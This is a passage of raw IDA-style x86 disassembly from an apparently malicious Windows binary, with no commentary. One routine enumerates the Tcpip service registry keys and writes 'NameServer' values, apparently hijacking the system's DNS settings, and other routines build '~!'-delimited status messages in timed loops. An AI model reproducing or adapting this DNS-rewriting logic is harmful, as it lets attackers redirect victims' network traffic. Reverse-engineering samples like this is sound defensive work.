arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		test	eax, eax
		push	edi
		mov	edi, ecx
		jz	short loc_4048ED
		push	eax
		call	sub_40CD83
		pop	ecx


loc_4048ED:				; CODE XREF: sub_4048D8+Cj
		push	[esp+8+arg_8]
		mov	esi, [esi]
		push	[esp+0Ch+arg_4]
		mov	ecx, edi
		push	eax
		push	esi
		call	sub_40488C
		pop	edi
		pop	esi
		retn	0Ch
sub_4048D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404905	proc near		; CODE XREF: sub_4036C6+99p
					; sub_403786+A7p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	[ebp+arg_8]
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_4048D8
		test	al, al
		jz	short loc_404934
		push	[ebp+var_8]
		mov	ecx, [ebp+arg_4]
		call	sub_40DC27
		mov	al, 1
		jmp	short locret_404945
; ---------------------------------------------------------------------------


loc_404934:				; CODE XREF: sub_404905+1Ej
		cmp	[ebp+var_8], 0
		jz	short loc_404943
		push	[ebp+var_8]
		call	sub_40CCC5
		pop	ecx


loc_404943:				; CODE XREF: sub_404905+33j
		xor	al, al

locret_404945:				; CODE XREF: sub_404905+2Dj
		leave
		retn	0Ch
sub_404905	endp


; =============== S U B	R O U T	I N E =======================================



sub_404949	proc near		; CODE XREF: sub_403CCB+9p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		mov	esi, ecx
		call	sub_4059B5
		mov	ebx, ds:dword_4180D4
		xor	edi, edi
		mov	dword ptr [esi], offset	off_41BD3C
		mov	[esi+8], edi
		mov	[esi+18h], edi
		mov	[esi+14h], edi
		mov	[esi+10h], edi
		lea	eax, [esi+3Ch]
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		push	eax
		mov	[esi+24h], edi
		mov	[esi+28h], edi
		call	ebx
		lea	eax, [esi+54h]
		push	eax
		call	ebx
		mov	[esi+6Ch], edi
		mov	[esi+10h], edi
		pop	edi
		mov	dword ptr [esi+18h], offset sub_4045DD
		mov	[esi+14h], esi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_404949	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4049A1	proc near		; CODE XREF: sub_405675+12p
					; sub_4062A6+31p

var_18		= byte ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, ecx
		call	sub_40428C
		test	al, al
		jz	short loc_4049BA
		mov	al, 1
		jmp	loc_404AAB
; ---------------------------------------------------------------------------


loc_4049BA:				; CODE XREF: sub_4049A1+10j
		push	ebx
		mov	ecx, esi
		call	sub_40471F
		mov	bl, al
		test	bl, bl
		jnz	loc_404AA8
		push	edi
		xor	ebx, ebx
		push	ebx
		call	sub_40CFAE
		push	eax
		call	sub_40CF2A
		pop	ecx
		pop	ecx
		call	sub_40CF34
		and	eax, 8000001Fh
		jns	short loc_4049EE
		dec	eax
		or	eax, 0FFFFFFE0h
		inc	eax


loc_4049EE:				; CODE XREF: sub_4049A1+46j
		push	ebx
		mov	byte ptr [ebp+var_4], al
		push	ebx
		push	[ebp+var_4]
		lea	eax, [ebp+var_18]
		push	eax
		mov	ecx, esi
		call	sub_405D38
		mov	ecx, [esi+4]
		mov	eax, [ecx]
		push	0B4h
		push	1F4h
		push	14h
		lea	edx, [ebp+var_18]
		push	edx
		call	dword ptr [eax+0Ch]
		mov	edi, [eax]
		cmp	edi, ebx
		mov	[ebp+var_8], eax
		jz	short loc_404A78
		test	edi, edi
		jz	short loc_404A2A


loc_404A26:				; CODE XREF: sub_4049A1+D5j
		mov	ecx, [edi]
		jmp	short loc_404A2C
; ---------------------------------------------------------------------------


loc_404A2A:				; CODE XREF: sub_4049A1+83j
		xor	ecx, ecx


loc_404A2C:				; CODE XREF: sub_4049A1+87j
		call	sub_409BDD
		push	10h
		mov	[ebp+var_4], eax
		call	sub_40D0BB
		push	10h
		push	[ebp+var_4]
		mov	ebx, eax
		push	ebx
		call	sub_40CCF7
		add	esp, 10h
		push	0Ah
		mov	ecx, esi
		call	sub_404172
		lea	eax, [esi+8]
		push	eax
		call	ds:dword_4180E4
		push	ebx
		lea	ecx, [esi+0Ch]
		call	sub_4043F3
		cmp	dword ptr [esi+20h], 0Fh
		jge	short loc_404A78
		test	edi, edi
		jz	short loc_404A78
		mov	edi, [edi+4]
		test	edi, edi
		jnz	short loc_404A26


loc_404A78:				; CODE XREF: sub_4049A1+7Fj
					; sub_4049A1+CAj ...
		pop	edi
		jmp	short loc_404A91
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_4049A1+F4j
		mov	ecx, esi
		call	sub_40428C
		test	al, al
		jnz	short loc_404A97
		push	3E8h
		call	ds:dword_4180C8


loc_404A91:				; CODE XREF: sub_4049A1+D8j
		cmp	dword ptr [esi+8], 0
		jg	short loc_404A7B


loc_404A97:				; CODE XREF: sub_4049A1+E3j
		mov	ecx, esi
		call	sub_40428C
		lea	ecx, [ebp+var_8]
		mov	bl, al
		call	sub_40442E


loc_404AA8:				; CODE XREF: sub_4049A1+25j
		mov	al, bl
		pop	ebx


loc_404AAB:				; CODE XREF: sub_4049A1+14j
		pop	esi
		leave
		retn
sub_4049A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_404AAE	proc near		; DATA XREF: .rdata:0041BD9Co
		add	ecx, 98h
		jmp	sub_401269
sub_404AAE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404AB9	proc near		; CODE XREF: sub_405263+192p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jz	short loc_404B16
		push	[ebp+var_4]
		call	sub_40CE59
		pop	ecx
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jz	short loc_404B16
		push	[ebp+var_4]
		call	sub_40CE59
		pop	ecx
		mov	edi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jnz	short loc_404B22


loc_404B16:				; CODE XREF: sub_404AB9+21j
					; sub_404AB9+3Ej
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		xor	al, al
		jmp	short loc_404B3D
; ---------------------------------------------------------------------------


loc_404B22:				; CODE XREF: sub_404AB9+5Bj
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	ebx
		lea	ecx, [esi+94h]
		call	sub_401FF5
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		mov	al, 1


loc_404B3D:				; CODE XREF: sub_404AB9+67j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_404AB9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404B44	proc near		; CODE XREF: sub_405263+1A1p

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_C]
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jz	short loc_404B9B
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jz	short loc_404B9B
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jnz	short loc_404BB7


loc_404B9B:				; CODE XREF: sub_404B44+31j
					; sub_404B44+43j
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		xor	al, al
		jmp	short loc_404BE8
; ---------------------------------------------------------------------------


loc_404BB7:				; CODE XREF: sub_404B44+55j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [esi+94h]
		call	sub_401B10
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		mov	al, 1


loc_404BE8:				; CODE XREF: sub_404B44+71j
		pop	esi
		leave
		retn	4
sub_404B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404BED	proc near		; CODE XREF: sub_405263+1B0p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jz	short loc_404C3D
		push	[ebp+var_4]
		call	sub_40CE59
		pop	ecx
		lea	ecx, [ebp+var_8]
		mov	edi, eax
		call	sub_40DB48
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		mov	ecx, esi
		call	sub_403697
		test	al, al
		jnz	short loc_404C49
		lea	ecx, [ebp+var_8]
		call	sub_40DB59


loc_404C3D:				; CODE XREF: sub_404BED+21j
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		xor	al, al
		jmp	short loc_404C6B
; ---------------------------------------------------------------------------


loc_404C49:				; CODE XREF: sub_404BED+46j
		lea	eax, [ebp+var_8]
		push	eax
		push	edi
		lea	ecx, [esi+94h]
		call	sub_4022BE
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		mov	al, 1


loc_404C6B:				; CODE XREF: sub_404BED+5Aj
		pop	edi
		pop	esi
		leave
		retn	4
sub_404BED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404C71	proc near		; CODE XREF: sub_405074+4Cp

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		xor	ebx, ebx
		push	ebx
		push	offset dword_41BD44
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	dword ptr [edi+70h]
		lea	ecx, [ebp+var_4]
		call	sub_40DBF8
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_4]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		cmp	[edi+79h], bl
		mov	eax, offset a1	; "1"
		jnz	short loc_404CCF
		mov	eax, offset a0	; "0"


loc_404CCF:				; CODE XREF: sub_404C71+57j
		push	ebx
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DBA2
		push	ebx
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_404905
		lea	ecx, [ebp+var_4]
		mov	bl, al
		call	sub_40DB59
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn	4
sub_404C71	endp


; =============== S U B	R O U T	I N E =======================================



sub_404CFB	proc near		; CODE XREF: sub_405263+C7p
					; sub_405440+1C4p ...
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_404D0E
		mov	eax, [eax+8]
		test	eax, eax
		mov	[ecx], eax
		jz	short loc_404D0E
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_404D0E:				; CODE XREF: sub_404CFB+4j
					; sub_404CFB+Dj
		xor	eax, eax
		retn
sub_404CFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_404D11	proc near		; CODE XREF: sub_405263+118p
					; sub_405263+13Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, [ecx+8]
		jnb	short loc_404D22
		mov	ecx, [ecx+4]
		mov	eax, [ecx+eax*4]
		jmp	short locret_404D24
; ---------------------------------------------------------------------------


loc_404D22:				; CODE XREF: sub_404D11+7j
		xor	eax, eax

locret_404D24:				; CODE XREF: sub_404D11+Fj
		retn	4
sub_404D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404D27	proc near		; CODE XREF: sub_405675+CFp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\Tcpip"...
		lea	ecx, [ebp+var_C]
		call	sub_40DCEB
		lea	eax, [ebp+var_10]
		push	eax
		push	0F003Fh
		xor	ebx, ebx
		push	ebx
		push	[ebp+var_C]
		push	80000002h
		call	ds:dword_418008
		test	eax, eax
		jz	short loc_404D68
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		xor	al, al
		jmp	loc_404E6F
; ---------------------------------------------------------------------------


loc_404D68:				; CODE XREF: sub_404D27+30j
		push	esi
		push	edi
		lea	ecx, [ebp+var_4]
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], 80h
		call	sub_40DB48
		mov	eax, [ebp+var_14]
		inc	eax
		push	eax
		lea	ecx, [ebp+var_4]
		call	sub_40DADA
		mov	edi, ds:dword_41800C
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	ebx
		push	[ebp+var_10]
		call	edi
		mov	esi, ds:dword_418010
		jmp	loc_404E3D
; ---------------------------------------------------------------------------


loc_404DAB:				; CODE XREF: sub_404D27+118j
		lea	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DCD2
		push	[ebp+var_4]
		lea	ecx, [ebp+var_8]
		call	sub_401AA0
		lea	eax, [ebp+var_1C]
		push	eax
		push	0F003Fh
		push	ebx
		push	[ebp+var_8]
		push	80000002h
		call	ds:dword_418008
		test	eax, eax
		jnz	short loc_404E4E
		mov	eax, [ebp+arg_0]
		mov	eax, [eax]
		cmp	eax, ebx
		jnz	short loc_404DEB
		xor	eax, eax
		jmp	short loc_404DF2
; ---------------------------------------------------------------------------


loc_404DEB:				; CODE XREF: sub_404D27+BEj
		push	eax
		call	sub_40CD83
		pop	ecx


loc_404DF2:				; CODE XREF: sub_404D27+C2j
		mov	ecx, [ebp+arg_0]
		mov	ecx, [ecx]
		inc	eax
		push	eax
		push	ecx
		push	1
		push	ebx
		push	offset aNameserver ; "NameServer"
		push	[ebp+var_1C]
		call	ds:dword_418014
		push	[ebp+var_1C]
		mov	[ebp+var_20], eax
		call	esi
		cmp	[ebp+var_20], ebx
		jnz	short loc_404E74
		inc	[ebp+var_18]
		lea	ecx, [ebp+var_8]
		mov	[ebp+var_14], 80h
		call	sub_40DB59
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_18]
		push	[ebp+var_10]
		call	edi


loc_404E3D:				; CODE XREF: sub_404D27+7Fj
		test	eax, eax
		jz	loc_404DAB
		push	[ebp+var_10]
		call	esi
		mov	bl, 1
		jmp	short loc_404E81
; ---------------------------------------------------------------------------


loc_404E4E:				; CODE XREF: sub_404D27+B5j
		push	[ebp+var_10]
		call	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		xor	al, al


loc_404E6D:				; CODE XREF: sub_404D27+16Cj
		pop	edi
		pop	esi


loc_404E6F:				; CODE XREF: sub_404D27+3Cj
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_404E74:				; CODE XREF: sub_404D27+EFj
		push	[ebp+var_10]
		call	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DB59


loc_404E81:				; CODE XREF: sub_404D27+125j
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		mov	al, bl
		jmp	short loc_404E6D
sub_404D27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E95	proc near		; CODE XREF: sub_405675+48p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [ebp+var_4]
		xor	bl, bl
		call	sub_40DB48
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403AA0
		test	al, al
		jz	loc_404F87
		lea	ecx, [ebp+var_10]
		call	sub_40DB48
		lea	ecx, [ebp+var_C]
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403A87
		test	al, al
		jz	loc_404F6F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403632
		test	al, al
		jz	short loc_404F6F
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403632
		test	al, al
		jz	short loc_404F6F
		lea	eax, [esi+5158h]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403632
		test	al, al
		jz	short loc_404F6F
		lea	eax, [esi+515Ch]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_403632
		push	0
		push	[ebp+var_10]
		lea	ecx, [esi+9Ch]
		inc	bl
		call	sub_40DB5E
		push	0
		push	[ebp+var_C]
		lea	ecx, [esi+0A0h]
		call	sub_40DB5E
		push	[ebp+var_8]
		call	sub_40CE59
		test	eax, eax
		setnz	al
		pop	ecx
		mov	[esi+0A4h], al


loc_404F6F:				; CODE XREF: sub_404E95+50j
					; sub_404E95+67j ...
		lea	ecx, [ebp+var_8]
		call	sub_40DB59
		lea	ecx, [ebp+var_C]
		call	sub_40DB59
		lea	ecx, [ebp+var_10]
		call	sub_40DB59


loc_404F87:				; CODE XREF: sub_404E95+21j
		lea	ecx, [ebp+var_4]
		call	sub_40DB59
		pop	esi
		mov	al, bl
		pop	ebx
		leave
		retn
sub_404E95	endp


; =============== S U B	R O U T	I N E =======================================



sub_404F95	proc near		; CODE XREF: sub_404FDE+49p
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi]
		test	edi, edi
		jz	short loc_404FB0
		mov	ecx, edi
		call	sub_4015F3
		push	edi
		call	sub_40D0B6
		and	dword ptr [esi], 0
		pop	ecx


loc_404FB0:				; CODE XREF: sub_404F95+8j
		pop	edi
		pop	esi
		retn
sub_404F95	endp


; =============== S U B	R O U T	I N E =======================================



sub_404FB3	proc near		; CODE XREF: sub_405074+92p
					; sub_405074+ABp ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi]
		test	esi, esi
		jz	short loc_404FD4
		cmp	ebx, esi
		jz	short loc_404FD4
		mov	ecx, esi
		call	sub_4015F3
		push	esi
		call	sub_40D0B6
		pop	ecx


loc_404FD4:				; CODE XREF: sub_404FB3+Dj
					; sub_404FB3+11j
		mov	[edi], ebx
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_404FB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_404FDE	proc near		; CODE XREF: sub_405659+3p
		push	ebx
		mov	ebx, ds:dword_4180A8
		push	esi
		mov	esi, ecx
		push	edi
		push	dword ptr [esi+5190h]
		lea	edi, [esi+94h]
		mov	dword ptr [esi], offset	off_41BD98
		mov	dword ptr [edi], offset	off_41BD94
		call	ebx
		push	dword ptr [esi+5194h]
		call	ebx
		lea	ecx, [esi+5160h]
		call	sub_40B150
		lea	ecx, [esi+5178h]
		call	sub_40B150
		lea	ecx, [esi+5198h]
		call	sub_404F95
		push	dword ptr [esi+5194h]
		mov	ebx, ds:dword_4180A4
		call	ebx
		push	dword ptr [esi+5190h]
		call	ebx
		lea	ecx, [esi+515Ch]
		call	sub_40DB59
		lea	ecx, [esi+5158h]
		call	sub_40DB59
		mov	ecx, edi
		call	sub_402400
		pop	edi
		mov	ecx, esi
		pop	esi
		pop	ebx
		jmp	sub_403DAE
sub_404FDE	endp


; =============== S U B	R O U T	I N E =======================================



sub_405069	proc near		; DATA XREF: .rdata:off_41BD94o
		add	ecx, 0FFFFFF6Ch
		jmp	sub_40387F
sub_405069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405074	proc near		; DATA XREF: sub_4058DF+A9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, ds:dword_4180E0
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5190h]
		mov	[ebp+var_C], eax
		mov	eax, [esi+5194h]
		push	edi
		mov	[ebp+var_8], eax


loc_405097:				; CODE XREF: sub_405074+12Ej
		lea	edi, [esi+3Ch]
		push	edi
		call	ds:dword_4180DC
		push	0
		mov	ecx, esi
		call	sub_403ED0
		test	al, al
		jz	loc_4051AD
		lea	ecx, [ebp+var_4]
		call	sub_40DB48
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, esi
		call	sub_404C71
		test	al, al
		jz	loc_4051E6
		cmp	[ebp+var_4], 0
		jz	short loc_405117
		push	[ebp+var_4]
		call	sub_40CD83
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405117
		lea	edi, [esi+5198h]
		cmp	dword ptr [edi], 0
		jnz	short loc_40510B
		push	2Ch
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_405101
		mov	ecx, eax
		call	sub_401A43
		jmp	short loc_405103
; ---------------------------------------------------------------------------


loc_405101:				; CODE XREF: sub_405074+82j
		xor	eax, eax


loc_405103:				; CODE XREF: sub_405074+8Bj
		push	eax
		mov	ecx, edi
		call	sub_404FB3


loc_40510B:				; CODE XREF: sub_405074+76j
		push	[ebp+var_4]
		mov	ecx, [edi]
		call	sub_40132C
		jmp	short loc_405124
; ---------------------------------------------------------------------------


loc_405117:				; CODE XREF: sub_405074+5Dj
					; sub_405074+6Bj
		push	0
		lea	ecx, [esi+5198h]
		call	sub_404FB3


loc_405124:				; CODE XREF: sub_405074+A1j
		lea	eax, [esi+3Ch]
		push	eax
		call	ebx
		lea	eax, [esi+5190h]
		push	eax
		mov	ecx, esi
		call	sub_403B7F
		test	al, al
		jz	loc_405220
		mov	ecx, esi
		call	sub_403DE0
		test	al, al
		jnz	short loc_40517F
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_405168
		movzx	ecx, word ptr [esi+30h]
		push	ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, eax
		call	sub_40414D
		jmp	short loc_40516A
; ---------------------------------------------------------------------------


loc_405168:				; CODE XREF: sub_405074+E1j
		xor	eax, eax


loc_40516A:				; CODE XREF: sub_405074+F2j
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB
		push	dword ptr [esi+5194h]
		call	ds:dword_4180A8


loc_40517F:				; CODE XREF: sub_405074+D5j
		push	0DBBA0h
		push	0
		lea	eax, [ebp+var_C]
		push	eax
		push	2
		call	ds:dword_418128
		lea	ecx, [ebp+var_4]
		mov	edi, eax
		call	sub_40DB59
		cmp	edi, 102h
		jz	loc_405097
		jmp	loc_40525C
; ---------------------------------------------------------------------------


loc_4051AD:				; CODE XREF: sub_405074+38j
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_4051CA
		movzx	ecx, word ptr [esi+30h]
		push	ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, eax
		call	sub_40414D
		jmp	short loc_4051CC
; ---------------------------------------------------------------------------


loc_4051CA:				; CODE XREF: sub_405074+143j
		xor	eax, eax


loc_4051CC:				; CODE XREF: sub_405074+154j
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB
		push	edi
		call	ebx
		push	dword ptr [esi+5194h]
		call	ds:dword_4180A8
		jmp	short loc_40525C
; ---------------------------------------------------------------------------


loc_4051E6:				; CODE XREF: sub_405074+53j
		push	0
		lea	ecx, [esi+5198h]
		call	sub_404FB3
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_405210
		movzx	ecx, word ptr [esi+30h]
		push	ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, eax
		call	sub_40414D
		jmp	short loc_405212
; ---------------------------------------------------------------------------


loc_405210:				; CODE XREF: sub_405074+189j
		xor	eax, eax


loc_405212:				; CODE XREF: sub_405074+19Aj
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB
		push	edi
		call	ebx
		jmp	short loc_405248
; ---------------------------------------------------------------------------


loc_405220:				; CODE XREF: sub_405074+C6j
		push	10h
		call	sub_40D0BB
		test	eax, eax
		pop	ecx
		jz	short loc_40523D
		movzx	ecx, word ptr [esi+30h]
		push	ecx
		push	dword ptr [esi+2Ch]
		mov	ecx, eax
		call	sub_40414D
		jmp	short loc_40523F
; ---------------------------------------------------------------------------


loc_40523D:				; CODE XREF: sub_405074+1B6j
		xor	eax, eax


loc_40523F:				; CODE XREF: sub_405074+1C7j
		push	eax
		lea	ecx, [esi+24h]
		call	sub_4151CB


loc_405248:				; CODE XREF: sub_405074+1AAj
		push	dword ptr [esi+5194h]
		call	ds:dword_4180A8
		lea	ecx, [ebp+var_4]
		call	sub_40DB59


loc_40525C:				; CODE XREF: sub_405074+134j
					; sub_405074+170j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405074	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405263	proc near		; CODE XREF: sub_405675+1A8p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_1		= byte ptr -1

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ebx, ebx
		lea	ecx, [ebp+var_C]
		mov	[ebp+var_1], bl
		call	sub_40DB48
		lea	ecx, [ebp+var_18]
		call	sub_40DB48
		lea	ecx, [ebp+var_8]
		call	sub_40DB48
		push	ebx
		push	offset dword_41BDA0
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	ebx
		mov	esi, offset asc_41BCC0 ; "~!"
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	dword ptr [edi+70h]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		push	23h
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		lea	eax, [edi+0D0h]
		push	eax
		call	ds:dword_4180DC
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [edi+0CCh]
		call	sub_408761
		jmp	short loc_40532F
; ---------------------------------------------------------------------------


loc_4052E5:				; CODE XREF: sub_405263+CFj
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_4052FA
		mov	eax, [eax]
		jmp	short loc_4052FC
; ---------------------------------------------------------------------------


loc_4052FA:				; CODE XREF: sub_405263+91j
		xor	eax, eax


loc_4052FC:				; CODE XREF: sub_405263+95j
		push	eax
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		push	ebx
		push	esi
		lea	ecx, [ebp+var_8]
		call	sub_40DBA2
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_40531B
		mov	eax, [eax+4]
		jmp	short loc_40531D
; ---------------------------------------------------------------------------


loc_40531B:				; CODE XREF: sub_405263+B1j
		xor	eax, eax


loc_40531D:				; CODE XREF: sub_405263+B6j
		push	dword ptr [eax]
		lea	ecx, [ebp+var_8]
		call	sub_40DBF8
		lea	ecx, [ebp+var_10]
		call	sub_404CFB


loc_40532F:				; CODE XREF: sub_405263+80j
		cmp	[ebp+var_10], ebx
		jnz	short loc_4052E5
		lea	eax, [edi+0D0h]
		push	eax
		call	ds:dword_4180E0
		push	ebx
		push	esi
